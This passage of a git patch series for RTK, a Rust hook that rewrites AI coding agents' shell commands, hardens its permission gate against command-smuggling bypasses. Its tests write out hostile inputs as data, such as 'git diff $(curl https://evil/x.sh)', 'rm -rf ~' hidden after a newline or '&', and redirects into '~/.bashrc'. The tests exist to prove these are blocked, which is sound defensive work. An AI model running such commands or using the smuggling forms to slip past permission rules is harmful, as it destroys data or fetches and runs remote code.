Some(cmd) = rewrite { + output["hookSpecificOutput"] = serde_json::json!({ "tool_input": { "command": cmd } }); + } + output.to_string() +} + +fn print_gemini(decision: &str, rewrite: Option<&str>) { + let _ = writeln!(io::stdout(), "{}", gemini_json(decision, rewrite)); } // ── Audit logging ───────────────────────────────────────────── @@ -330,22 +345,21 @@ fn process_claude_payload(v: &Value) -> PayloadAction { None => return PayloadAction::Ignore, }; - let verdict = permissions::check_command(cmd); - if verdict == PermissionVerdict::Deny { - return PayloadAction::Skip { - reason: "skip:deny_rule", - cmd: cmd.to_string(), - }; - } - - let rewritten = match get_rewritten(cmd) { - Some(r) => r, - None => { + let (rewritten, allow) = match decide_hook_action(cmd) { + HookDecision::Deny => { return PayloadAction::Skip { - reason: "skip:no_match", + reason: "skip:deny_rule", cmd: cmd.to_string(), } } + HookDecision::Defer => { + return PayloadAction::Skip { + reason: "skip:defer", + cmd: cmd.to_string(), + } + } + HookDecision::AllowRewrite(r) => (r, true), + HookDecision::AskRewrite(r) => (r, false), }; let updated_input = { @@ -362,7 +376,7 @@ fn process_claude_payload(v: &Value) -> PayloadAction { "updatedInput": updated_input }); - if verdict == PermissionVerdict::Allow { + if allow { hook_output .as_object_mut() .unwrap() @@ -464,40 +478,29 @@ pub fn run_cursor() -> Result<()> { } }; - let verdict = permissions::check_command(&cmd); - if verdict == PermissionVerdict::Deny { - audit_log("deny", &cmd, ""); - let _ = writeln!(io::stdout(), "{{}}"); - return Ok(()); - } - - let rewritten = match get_rewritten(&cmd) { - Some(r) => r, - None => { - let _ = writeln!(io::stdout(), "{{}}"); - return Ok(()); + let output = match decide_hook_action(&cmd) { + HookDecision::AllowRewrite(rewritten) => { + audit_log("rewrite", &cmd, &rewritten); + cursor_allow(&rewritten) + } + other => { + if matches!(other, HookDecision::Deny) { + audit_log("deny", &cmd, ""); + } + "{}".to_string() } }; + let _ = writeln!(io::stdout(), "{output}"); + Ok(()) +} - // Cursor preToolUse currently enforces allow/deny only and can ignore - // updated_input when permission is "ask". Use "allow" for rewritten - // commands unless the command is explicitly denied above. - let decision = "allow"; - - audit_log("rewrite", &cmd, &rewritten); - - // `continue: true` mirrors the shape of every other Cursor hook - // (afterShellExecution, beforeSubmitPrompt, stop, ...). Cursor's - // preToolUse panel renders the JSON it received; without this field - // the panel collapses to `Output: {}` even though the rewrite ran, - // which makes the hook look broken to users. - let output = json!({ +fn cursor_allow(rewritten: &str) -> String { + json!({ "continue": true, - "permission": decision, + "permission": "allow", "updated_input": { "command": rewritten } - }); - let _ = writeln!(io::stdout(), "{output}"); - Ok(()) + }) + .to_string() } #[cfg(test)] @@ -528,21 +531,9 @@ fn run_cursor_inner_with_rules( }; let verdict = permissions::check_command_with_rules(&cmd, deny_rules, ask_rules, allow_rules); - if verdict == PermissionVerdict::Deny { - return "{}".to_string(); - } - - match get_rewritten(&cmd) { - Some(rewritten) => { - let decision = "allow"; - let output = json!({ - "continue": true, - "permission": decision, - "updated_input": { "command": rewritten } - }); - output.to_string() - } - None => "{}".to_string(), + match decide_from_verdict(&cmd, verdict) { + HookDecision::AllowRewrite(rewritten) => cursor_allow(&rewritten), + _ => "{}".to_string(), } } @@ -649,26 +640,26 @@ mod tests { } #[test] - fn test_copilot_cli_default_verdict_omits_permission_decision() { - let r = copilot_cli_response_for_verdict( - "cargo test", + fn test_copilot_cli_ask_rewrite_omits_permission_decision() { + let r = copilot_cli_response_from_decision( &cli_args("cargo test"), - PermissionVerdict::Default, + HookDecision::AskRewrite("rtk cargo test".into()), + "cargo test", ) .unwrap(); assert!( r.get("permissionDecision").is_none(), - "Default must NOT set permissionDecision — Copilot then runs its normal prompt flow on the rewritten command" + "AskRewrite must NOT set permissionDecision — Copilot then runs its normal prompt flow on the rewritten command" ); assert_eq!(r["modifiedArgs"]["command"], "rtk cargo test"); } #[test] - fn test_copilot_cli_explicit_allow_returns_allow_with_rewrite() { - let r = copilot_cli_response_for_verdict( - "cargo test", + fn test_copilot_cli_allow_rewrite_returns_allow() { + let r = copilot_cli_response_from_decision( &cli_args("cargo test"), - PermissionVerdict::Allow, + HookDecision::AllowRewrite("rtk cargo test".into()), + "cargo test", ) .unwrap(); assert_eq!(r["permissionDecision"], "allow"); @@ -676,13 +667,29 @@ mod tests { } #[test] - fn test_copilot_cli_deny_verdict_returns_none() { - assert!(copilot_cli_response_for_verdict( - "cargo test", - &cli_args("cargo test"), - PermissionVerdict::Deny - ) - .is_none()); + fn test_copilot_cli_deny_returns_none() { + assert!( + copilot_cli_response_from_decision( + &cli_args("cargo test"), + HookDecision::Deny, + "cargo test", + ) + .is_none() + ); + } + + #[test] + fn test_copilot_cli_defer_returns_none() { + // Defer covers both "no rewrite available" and the unattestable-construct gate. + // The hook must emit NO modifiedArgs for CVE bypass forms — no laundering. + assert!( + copilot_cli_response_from_decision( + &cli_args("git status & rm -rf /tmp/x"), + HookDecision::Defer, + "git status & rm -rf /tmp/x", + ) + .is_none() + ); } #[test] @@ -722,10 +729,10 @@ mod tests { "initial_wait": 30, "mode": "sync" }); - let r = copilot_cli_response_for_verdict( - "cargo install ripgrep", + let r = copilot_cli_response_from_decision( &args, - PermissionVerdict::Default, + HookDecision::AskRewrite("rtk cargo install ripgrep".into()), + "cargo install ripgrep", ) .unwrap(); let modified = &r["modifiedArgs"]; @@ -848,6 +855,26 @@ mod tests { assert!(run_claude_inner(&claude_input("htop")).is_none()); } + #[test] + fn test_claude_substitution_not_rewritten() { + // A substitution payload must never be rewritten into updatedInput; + // RTK skips so Claude Code evaluates the original command natively. + assert!(run_claude_inner(&claude_input("git status `rm -rf /tmp/x`")).is_none()); + assert!(run_claude_inner(&claude_input("git status $(rm -rf /tmp/x)")).is_none()); + assert!(run_claude_inner(&claude_input("git log --pretty=\"$(rm -rf /tmp/x)\"")).is_none()); + } + + #[test] + fn test_claude_file_redirect_not_rewritten() { + assert!(run_claude_inner(&claude_input("git log > /tmp/out.txt")).is_none()); + } + + #[test] + fn test_claude_fd_dup_redirect_still_rewritten() { + // `2>&1` is attestable — the rewrite proceeds as normal. + assert!(run_claude_inner(&claude_input("git status 2>&1")).is_some()); + } + #[test] fn test_claude_heredoc_passthrough() { assert!(run_claude_inner(&claude_input("cat < String { + run_cursor_inner_with_rules(input, &[], &[], &["*".to_string()]) + } + #[test] fn test_cursor_rewrite_flat_format() { - let result = run_cursor_inner(&cursor_input("git status")); + let result = run_cursor_allowed(&cursor_input("git status")); let v: Value = serde_json::from_str(&result).unwrap(); // Cursor preToolUse expects allow/deny for rewrite application. assert_eq!(v["permission"], "allow"); @@ -938,6 +969,34 @@ mod tests { assert_eq!(v["continue"], true); } + #[test] + fn test_cursor_no_allow_rule_defers() { + assert_eq!(run_cursor_inner(&cursor_input("git status")), "{}"); + } + + #[test] + fn test_cursor_substitution_defers_even_when_allowed() { + assert_eq!( + run_cursor_allowed(&cursor_input("git status `rm -rf /tmp/x`")), + "{}" + ); + assert_eq!( + run_cursor_allowed(&cursor_input("git status $(rm -rf /tmp/x)")), + "{}" + ); + } + + #[test] + fn test_cursor_unallowed_segment_defers() { + let out = run_cursor_inner_with_rules( + &cursor_input("git status && rm -rf /tmp/x"), + &[], + &[], + &["git *".to_string()], + ); + assert_eq!(out, "{}"); + } + #[test] fn test_cursor_passthrough_empty_json() { let result = run_cursor_inner(&cursor_input("htop")); @@ -964,7 +1023,7 @@ mod tests { #[test] fn test_cursor_no_hook_specific_output() { - let result = run_cursor_inner(&cursor_input("cargo test")); + let result = run_cursor_allowed(&cursor_input("cargo test")); let v: Value = serde_json::from_str(&result).unwrap(); assert!(v.get("hookSpecificOutput").is_none()); assert_eq!(v["permission"], "allow"); @@ -974,7 +1033,7 @@ mod tests { #[test] fn test_cursor_compound_rewrite_includes_continue() { let cmd = "cd \"/tmp/proj\" && git status"; - let result = run_cursor_inner(&cursor_input(cmd)); + let result = run_cursor_allowed(&cursor_input(cmd)); let v: Value = serde_json::from_str(&result).unwrap(); assert_eq!(v["continue"], true); assert_eq!(v["permission"], "allow"); @@ -991,7 +1050,7 @@ mod tests { // the hook returned `{}` and the rewrite became a silent no-op. let payload = cursor_input("git status"); let with_single_bom = format!("\u{feff}{}", payload); - let result = run_cursor_inner(&with_single_bom); + let result = run_cursor_allowed(&with_single_bom); let v: Value = serde_json::from_str(&result).unwrap(); assert_eq!(v["continue"], true); assert_eq!(v["permission"], "allow"); @@ -1006,7 +1065,7 @@ mod tests { // the real-world payload shape the loop needs to survive. let payload = cursor_input("git status"); let with_double_bom = format!("\u{feff}\u{feff}{}", payload); - let result = run_cursor_inner(&with_double_bom); + let result = run_cursor_allowed(&with_double_bom); let v: Value = serde_json::from_str(&result).unwrap(); assert_eq!(v["continue"], true); assert_eq!(v["permission"], "allow"); @@ -1123,4 +1182,137 @@ mod tests { "cargo test should be rewritable when not denied" ); } + + // --- Shared decision flow (all hosts route through this) --- + + fn decide_with_rules( + cmd: &str, + deny: &[String], + ask: &[String], + allow: &[String], + ) -> HookDecision { + let verdict = permissions::check_command_with_rules(cmd, deny, ask, allow); + decide_from_verdict(cmd, verdict) + } + + fn all_allowed() -> Vec { + vec!["*".to_string()] + } + + #[test] + fn test_decide_allow_for_attestable_allowed_command() { + assert!(matches!( + decide_with_rules("git status", &[], &[], &all_allowed()), + HookDecision::AllowRewrite(_) + )); + } + + #[test] + fn test_decide_ask_for_default_verdict() { + assert!(matches!( + decide_with_rules("git status", &[], &[], &[]), + HookDecision::AskRewrite(_) + )); + } + + #[test] + fn test_decide_deny() { + assert!(matches!( + decide_with_rules( + "rm -rf /tmp/x", + &["rm -rf".to_string()], + &[], + &all_allowed() + ), + HookDecision::Deny + )); + } + + #[test] + fn test_decide_defer_for_substitution_even_when_allowed() { + for cmd in [ + "git status `rm -rf /tmp/x`", + "git status $(rm -rf /tmp/x)", + "git log --pretty=\"$(rm -rf /tmp/x)\"", + ] { + assert!( + matches!( + decide_with_rules(cmd, &[], &[], &all_allowed()), + HookDecision::Defer + ), + "expected Defer for {cmd}" + ); + } + } + + #[test] + fn test_decide_defer_for_file_redirect() { + assert!(matches!( + decide_with_rules("git log > /tmp/out.txt", &[], &[], &all_allowed()), + HookDecision::Defer + )); + } + + #[test] + fn test_decide_allow_for_fd_dup_redirect() { + assert!(matches!( + decide_with_rules("git status 2>&1", &[], &[], &all_allowed()), + HookDecision::AllowRewrite(_) + )); + } + + // --- Gemini rendering --- + + fn gemini_render(cmd: &str, deny: &[String], ask: &[String], allow: &[String]) -> String { + match decide_with_rules(cmd, deny, ask, allow) { + HookDecision::Deny => { + r#"{"decision":"deny","reason":"Blocked by RTK permission rule"}"#.to_string() + } + HookDecision::AllowRewrite(r) => gemini_json("allow", Some(&r)), + HookDecision::AskRewrite(r) => gemini_json("ask_user", Some(&r)), + HookDecision::Defer => gemini_json("ask_user", None), + } + } + + #[test] + fn test_gemini_allow_emits_rewrite() { + let v: Value = + serde_json::from_str(&gemini_render("git status", &[], &[], &all_allowed())).unwrap(); + assert_eq!(v["decision"], "allow"); + assert_eq!( + v["hookSpecificOutput"]["tool_input"]["command"], + "rtk git status" + ); + } + + #[test] + fn test_gemini_default_asks_user() { + let v: Value = serde_json::from_str(&gemini_render("git status", &[], &[], &[])).unwrap(); + assert_eq!(v["decision"], "ask_user"); + } + + #[test] + fn test_gemini_substitution_asks_user_without_rewrite() { + let v: Value = serde_json::from_str(&gemini_render( + "git status `rm -rf /tmp/x`", + &[], + &[], + &all_allowed(), + )) + .unwrap(); + assert_eq!(v["decision"], "ask_user"); + assert!(v.get("hookSpecificOutput").is_none()); + } + + #[test] + fn test_gemini_deny_decision() { + let v: Value = serde_json::from_str(&gemini_render( + "rm -rf /tmp/x", + &["rm -rf".to_string()], + &[], + &[], + )) + .unwrap(); + assert_eq!(v["decision"], "deny"); + } } diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 71536b0e1a..9519cfcd83 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -1,6 +1,6 @@ use super::constants::{CLAUDE_DIR, SETTINGS_JSON, SETTINGS_LOCAL_JSON}; use crate::core::stream::exec_capture; -use crate::discover::lexer::split_on_operators; +use crate::discover::lexer::split_for_permissions; use serde_json::Value; use std::path::PathBuf; @@ -35,6 +35,22 @@ pub(crate) fn check_command_with_rules( allow_rules: &[String], ) -> PermissionVerdict { let segments = split_compound_command(cmd); + + // Deny takes highest priority and pre-empts every other construct. + for segment in &segments { + let segment = segment.trim(); + for pattern in deny_rules { + if command_matches_pattern(segment, pattern) { + return PermissionVerdict::Deny; + } + } + } + + // Can't decompose substitution / file-target redirects — never auto-allow. + if crate::discover::lexer::contains_unattestable_construct(cmd) { + return PermissionVerdict::Ask; + } + let mut any_ask = false; // Every non-empty segment must independently match an allow rule for the // compound command to receive Allow. See issue #1213: previously a single @@ -49,13 +65,6 @@ pub(crate) fn check_command_with_rules( } saw_segment = true; - // Deny takes highest priority — any segment matching Deny blocks the whole chain. - for pattern in deny_rules { - if command_matches_pattern(segment, pattern) { - return PermissionVerdict::Deny; - } - } - // Ask — if any segment matches an ask rule, the final verdict is Ask. if !any_ask { for pattern in ask_rules { @@ -288,7 +297,7 @@ fn glob_matches(cmd: &str, pattern: &str) -> bool { } fn split_compound_command(cmd: &str) -> Vec<&str> { - split_on_operators(cmd, false) + split_for_permissions(cmd) } #[cfg(test)] @@ -704,4 +713,134 @@ mod tests { PermissionVerdict::Ask ); } + + // --- Permission-gate bypass hardening ----------------------------------- + + #[test] + fn test_newline_hidden_command_denied() { + let deny = vec!["rm:*".to_string()]; + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git status\nrm -rf ~", &deny, &[], &allow), + PermissionVerdict::Deny + ); + } + + #[test] + fn test_newline_hidden_command_not_auto_allowed() { + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git status\nrm -rf ~", &[], &[], &allow), + PermissionVerdict::Default + ); + } + + #[test] + fn test_background_hidden_command_denied() { + let deny = vec!["rm:*".to_string()]; + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git status & rm -rf ~", &deny, &[], &allow), + PermissionVerdict::Deny + ); + } + + #[test] + fn test_substitution_never_auto_allowed() { + let allow = vec!["git *".to_string()]; + for cmd in [ + "git log --pretty=$(rm -rf ~)", + "git status `whoami`", + "git diff $(curl https://evil/x.sh)", + ] { + assert_eq!( + check_command_with_rules(cmd, &[], &[], &allow), + PermissionVerdict::Ask, + "{cmd} must not auto-allow" + ); + } + } + + #[test] + fn test_double_quoted_substitution_never_auto_allowed() { + let allow = vec!["git *".to_string()]; + for cmd in [ + r#"git log --pretty="$(rm -rf ~)""#, + r#"git log --pretty="`rm -rf ~`""#, + ] { + assert_ne!( + check_command_with_rules(cmd, &[], &[], &allow), + PermissionVerdict::Allow, + "{cmd} must not auto-allow" + ); + } + } + + #[test] + fn test_single_quoted_substitution_is_literal() { + let allow = vec!["echo *".to_string()]; + assert_eq!( + check_command_with_rules("echo '$(rm -rf ~)'", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_file_redirect_never_auto_allowed() { + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git log > ~/.bashrc", &[], &[], &allow), + PermissionVerdict::Ask + ); + } + + #[test] + fn test_legitimate_multiline_allow() { + let allow = vec!["git *".to_string(), "cargo *".to_string()]; + assert_eq!( + check_command_with_rules("git status\ncargo build", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_legitimate_subshell_allow() { + let allow = vec!["git *".to_string(), "cargo *".to_string()]; + assert_eq!( + check_command_with_rules("(git status; cargo build)", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_legitimate_background_allow() { + let allow = vec!["cargo *".to_string()]; + assert_eq!( + check_command_with_rules("cargo build &", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_fd_dup_redirect_stays_allow() { + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git status 2>&1", &[], &[], &allow), + PermissionVerdict::Allow + ); + assert_eq!( + check_command_with_rules("git log 2>/dev/null", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_deny_not_evaded_by_trailing_fd_dup() { + let deny = vec!["git push --force".to_string()]; + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git push --force 2>&1", &deny, &[], &allow), + PermissionVerdict::Deny + ); + } } diff --git a/src/hooks/rewrite_cmd.rs b/src/hooks/rewrite_cmd.rs index 215693be6b..685aa3015c 100644 --- a/src/hooks/rewrite_cmd.rs +++ b/src/hooks/rewrite_cmd.rs @@ -20,32 +20,47 @@ pub fn run(cmd: &str) -> anyhow::Result<()> { .map(|c| (c.hooks.exclude_commands, c.hooks.transparent_prefixes)) .unwrap_or_default(); - // SECURITY: check deny/ask BEFORE rewrite so non-RTK commands are also covered. + match evaluate(cmd, &excluded, &transparent_prefixes) { + RewriteOutcome::Allow(rewritten) => { + print!("{}", rewritten); + let _ = std::io::stdout().flush(); + Ok(()) + } + RewriteOutcome::Ask(rewritten) => { + print!("{}", rewritten); + let _ = std::io::stdout().flush(); + std::process::exit(3); + } + RewriteOutcome::Deny => std::process::exit(2), + RewriteOutcome::Passthrough => std::process::exit(1), + } +} + +#[derive(Debug, PartialEq)] +enum RewriteOutcome { + Allow(String), + Passthrough, + Deny, + Ask(String), +} + +fn evaluate(cmd: &str, excluded: &[String], transparent_prefixes: &[String]) -> RewriteOutcome { let verdict = check_command(cmd); if verdict == PermissionVerdict::Deny { - std::process::exit(2); + return RewriteOutcome::Deny; } - match registry::rewrite_command(cmd, &excluded, &transparent_prefixes) { + if crate::discover::lexer::contains_unattestable_construct(cmd) { + return RewriteOutcome::Passthrough; + } + + match registry::rewrite_command(cmd, excluded, transparent_prefixes) { Some(rewritten) => match verdict { - PermissionVerdict::Allow => { - print!("{}", rewritten); - let _ = std::io::stdout().flush(); - Ok(()) - } - PermissionVerdict::Ask | PermissionVerdict::Default => { - print!("{}", rewritten); - let _ = std::io::stdout().flush(); - std::process::exit(3); - } - PermissionVerdict::Deny => unreachable!(), + PermissionVerdict::Allow => RewriteOutcome::Allow(rewritten), + _ => RewriteOutcome::Ask(rewritten), }, - None => { - // No RTK equivalent. Exit 1 = passthrough. - // Claude Code independently evaluates its own ask rules on the original cmd. - std::process::exit(1); - } + None => RewriteOutcome::Passthrough, } } @@ -75,6 +90,58 @@ mod tests { ); } + mod unattestable_passthrough { + use super::super::{evaluate, RewriteOutcome}; + + #[test] + fn test_backtick_substitution_passthrough() { + assert_eq!( + evaluate("git status `rm -rf /tmp/x`", &[], &[]), + RewriteOutcome::Passthrough + ); + } + + #[test] + fn test_dollar_substitution_passthrough() { + assert_eq!( + evaluate("git status $(rm -rf /tmp/x)", &[], &[]), + RewriteOutcome::Passthrough + ); + } + + #[test] + fn test_double_quoted_substitution_passthrough() { + assert_eq!( + evaluate("git log --pretty=\"$(rm -rf /tmp/x)\"", &[], &[]), + RewriteOutcome::Passthrough + ); + } + + #[test] + fn test_file_redirect_passthrough() { + assert_eq!( + evaluate("git log > /tmp/out.txt", &[], &[]), + RewriteOutcome::Passthrough + ); + } + + #[test] + fn test_fd_dup_redirect_still_rewrites() { + assert!(matches!( + evaluate("git status 2>&1", &[], &[]), + RewriteOutcome::Ask(_) + )); + } + + #[test] + fn test_plain_command_still_rewrites() { + assert!(matches!( + evaluate("git status", &[], &[]), + RewriteOutcome::Ask(_) + )); + } + } + /// SECURITY: Verify the exit code protocol for permission verdicts. /// /// The bash hook (.claude/hooks/rtk-rewrite.sh) interprets exit codes as: From a4bb55efa9be1b0bf69ccc2cff9ddcbf2af7a48d Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 18:15:19 +0200 Subject: [PATCH 195/204] fix(permissions): cursor and gemini use correct permissions settings file - --- src/hooks/hook_cmd.rs | 21 ++++++--- src/hooks/permissions.rs | 93 +++++++++++++++++++++++++++++++++++++++- 2 files changed, 105 insertions(+), 9 deletions(-) diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 36fc353e58..7a6b06797b 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -146,12 +146,12 @@ fn decide_from_verdict(cmd: &str, verdict: PermissionVerdict) -> HookDecision { } } -fn decide_hook_action(cmd: &str) -> HookDecision { - decide_from_verdict(cmd, permissions::check_command(cmd)) +fn decide_hook_action(cmd: &str, host: permissions::Host) -> HookDecision { + decide_from_verdict(cmd, permissions::check_command_for(cmd, host)) } fn handle_vscode(cmd: &str) -> Result<()> { - let (decision, rewritten) = match decide_hook_action(cmd) { + let (decision, rewritten) = match decide_hook_action(cmd, permissions::Host::Claude) { HookDecision::Deny => { audit_log("deny", cmd, ""); return Ok(()); @@ -183,7 +183,14 @@ fn handle_copilot_cli(cmd: &str, args: &Value) -> Result<()> { } fn copilot_cli_response(cmd: &str, args: &Value) -> Option { - copilot_cli_response_from_decision(args, decide_hook_action(cmd), cmd) + // Copilot CLI v1.0.54 itself reads `.claude/settings.json` for permission + // rules (see the binary), so routing through `Host::Claude` keeps RTK's + // verdict consistent with what Copilot would have decided on its own. + copilot_cli_response_from_decision( + args, + decide_hook_action(cmd, permissions::Host::Claude), + cmd, + ) } fn copilot_cli_response_from_decision( @@ -243,7 +250,7 @@ pub fn run_gemini() -> Result<()> { return Ok(()); } - match decide_hook_action(cmd) { + match decide_hook_action(cmd, permissions::Host::Gemini) { HookDecision::Deny => { let _ = writeln!( io::stdout(), @@ -345,7 +352,7 @@ fn process_claude_payload(v: &Value) -> PayloadAction { None => return PayloadAction::Ignore, }; - let (rewritten, allow) = match decide_hook_action(cmd) { + let (rewritten, allow) = match decide_hook_action(cmd, permissions::Host::Claude) { HookDecision::Deny => { return PayloadAction::Skip { reason: "skip:deny_rule", @@ -478,7 +485,7 @@ pub fn run_cursor() -> Result<()> { } }; - let output = match decide_hook_action(&cmd) { + let output = match decide_hook_action(&cmd, permissions::Host::Cursor) { HookDecision::AllowRewrite(rewritten) => { audit_log("rewrite", &cmd, &rewritten); cursor_allow(&rewritten) diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 9519cfcd83..26ad9adf0b 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -1,4 +1,4 @@ -use super::constants::{CLAUDE_DIR, SETTINGS_JSON, SETTINGS_LOCAL_JSON}; +use super::constants::{CLAUDE_DIR, CURSOR_DIR, GEMINI_DIR, SETTINGS_JSON, SETTINGS_LOCAL_JSON}; use crate::core::stream::exec_capture; use crate::discover::lexer::split_for_permissions; use serde_json::Value; @@ -23,7 +23,23 @@ pub enum PermissionVerdict { /// Returns `Default` when no rules match — callers should treat this as ask /// to match Claude Code's least-privilege default. pub fn check_command(cmd: &str) -> PermissionVerdict { - let (deny_rules, ask_rules, allow_rules) = load_permission_rules(); + check_command_for(cmd, Host::Claude) +} + +/// The agent host whose own permission settings should be consulted. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Host { + Claude, + Cursor, + Gemini, +} + +pub fn check_command_for(cmd: &str, host: Host) -> PermissionVerdict { + let (deny_rules, ask_rules, allow_rules) = match host { + Host::Claude => load_permission_rules(), + Host::Cursor => load_cursor_rules(), + Host::Gemini => load_gemini_rules(), + }; check_command_with_rules(cmd, &deny_rules, &ask_rules, &allow_rules) } @@ -167,6 +183,79 @@ fn get_settings_paths() -> Vec { paths } +fn read_json(path: &std::path::Path) -> Option { + let content = std::fs::read_to_string(path).ok()?; + match serde_json::from_str::(&content) { + Ok(v) => Some(v), + Err(_) => { + eprintln!("[rtk] warning: failed to parse permissions from {}", path.display()); + None + } + } +} + +fn append_wrapped_rules(rules_value: Option<&Value>, prefixes: &[&str], target: &mut Vec) { + let Some(arr) = rules_value.and_then(|v| v.as_array()) else { + return; + }; + for rule in arr.iter().filter_map(|r| r.as_str()) { + for pre in prefixes { + let bare = &pre[..pre.len() - 1]; + if rule == bare { + target.push("*".to_string()); + break; + } + if let Some(inner) = rule.strip_prefix(pre).and_then(|s| s.strip_suffix(')')) { + target.push(inner.to_string()); + break; + } + } + } +} + +/// Cursor: `~/.cursor/cli-config.json` (global) and `/.cursor/cli.json`. +/// `permissions.allow/deny` with `Shell(...)` entries; no ask list. +fn load_cursor_rules() -> (Vec, Vec, Vec) { + let mut deny = Vec::new(); + let mut allow = Vec::new(); + let mut paths = Vec::new(); + if let Some(home) = dirs::home_dir() { + paths.push(home.join(CURSOR_DIR).join("cli-config.json")); + } + if let Some(root) = find_project_root() { + paths.push(root.join(CURSOR_DIR).join("cli.json")); + } + for json in paths.iter().filter_map(|p| read_json(p)) { + if let Some(perms) = json.get("permissions") { + append_wrapped_rules(perms.get("deny"), &["Shell("], &mut deny); + append_wrapped_rules(perms.get("allow"), &["Shell("], &mut allow); + } + } + (deny, Vec::new(), allow) +} + +/// Gemini: `~/.gemini/settings.json` and `/.gemini/settings.json`. +/// `tools.allowed` -> allow, `tools.confirmationRequired` -> ask. +fn load_gemini_rules() -> (Vec, Vec, Vec) { + let mut ask = Vec::new(); + let mut allow = Vec::new(); + let mut paths = Vec::new(); + if let Some(home) = dirs::home_dir() { + paths.push(home.join(GEMINI_DIR).join(SETTINGS_JSON)); + } + if let Some(root) = find_project_root() { + paths.push(root.join(GEMINI_DIR).join(SETTINGS_JSON)); + } + let shells = ["run_shell_command(", "ShellTool("]; + for json in paths.iter().filter_map(|p| read_json(p)) { + if let Some(tools) = json.get("tools") { + append_wrapped_rules(tools.get("allowed"), &shells, &mut allow); + append_wrapped_rules(tools.get("confirmationRequired"), &shells, &mut ask); + } + } + (Vec::new(), ask, allow) +} + /// Locate the project root by walking up from CWD looking for `.claude/`. /// /// Falls back to `git rev-parse --show-toplevel` if not found via directory walk. From 1ccf6e3da72b6c2feff43bbc4d9fc3ed2e4cd083 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 18:20:37 +0200 Subject: [PATCH 196/204] fix(permissions): add test for cursor and gemini settings perm --- src/hooks/permissions.rs | 46 +++++++++++++++++++++++++++++++++++++++- 1 file changed, 45 insertions(+), 1 deletion(-) diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 26ad9adf0b..d06eb98f6b 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -188,7 +188,10 @@ fn read_json(path: &std::path::Path) -> Option { match serde_json::from_str::(&content) { Ok(v) => Some(v), Err(_) => { - eprintln!("[rtk] warning: failed to parse permissions from {}", path.display()); + eprintln!( + "[rtk] warning: failed to parse permissions from {}", + path.display() + ); None } } @@ -932,4 +935,45 @@ mod tests { PermissionVerdict::Deny ); } + + // --- Per-host rule extraction --- + + #[test] + fn test_wrapped_rules_cursor_shell_only() { + let v = serde_json::json!(["Shell(git)", "Shell(curl:*)", "Read(src/**)", "Shell(npm test)"]); + let mut out = Vec::new(); + append_wrapped_rules(Some(&v), &["Shell("], &mut out); + assert_eq!(out, vec!["git", "curl:*", "npm test"]); + } + + #[test] + fn test_wrapped_rules_gemini_shell_variants() { + let v = serde_json::json!([ + "run_shell_command(git)", + "ShellTool(npm test)", + "read_file", + "run_shell_command" + ]); + let mut out = Vec::new(); + append_wrapped_rules(Some(&v), &["run_shell_command(", "ShellTool("], &mut out); + assert_eq!(out, vec!["git", "npm test", "*"]); + } + + #[test] + fn test_wrapped_rules_extracted_patterns_match() { + let mut allow = Vec::new(); + append_wrapped_rules( + Some(&serde_json::json!(["Shell(git)"])), + &["Shell("], + &mut allow, + ); + assert_eq!( + check_command_with_rules("git status", &[], &[], &allow), + PermissionVerdict::Allow + ); + assert_eq!( + check_command_with_rules("rm -rf /", &[], &[], &allow), + PermissionVerdict::Default + ); + } } From 4c9b14ef54a49b874c6b3b38e30251712335ba44 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 18:28:20 +0200 Subject: [PATCH 197/204] refacto(permissions): fmt --- src/hooks/permissions.rs | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index d06eb98f6b..f9b7b299d2 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -940,7 +940,12 @@ mod tests { #[test] fn test_wrapped_rules_cursor_shell_only() { - let v = serde_json::json!(["Shell(git)", "Shell(curl:*)", "Read(src/**)", "Shell(npm test)"]); + let v = serde_json::json!([ + "Shell(git)", + "Shell(curl:*)", + "Read(src/**)", + "Shell(npm test)" + ]); let mut out = Vec::new(); append_wrapped_rules(Some(&v), &["Shell("], &mut out); assert_eq!(out, vec!["git", "curl:*", "npm test"]); From f88b6bec1323265cfced77c449bd795f2506cc90 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 18:55:00 +0200 Subject: [PATCH 198/204] fix(permissions): project-first config lookup for Gemini/Cursor --- src/hooks/permissions.rs | 50 ++++++++++++++++++---------------------- 1 file changed, 22 insertions(+), 28 deletions(-) diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index f9b7b299d2..4d068d7f0d 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -216,45 +216,39 @@ fn append_wrapped_rules(rules_value: Option<&Value>, prefixes: &[&str], target: } } -/// Cursor: `~/.cursor/cli-config.json` (global) and `/.cursor/cli.json`. -/// `permissions.allow/deny` with `Shell(...)` entries; no ask list. +// Project config takes priority; global is the fallback when there is no project config. +fn 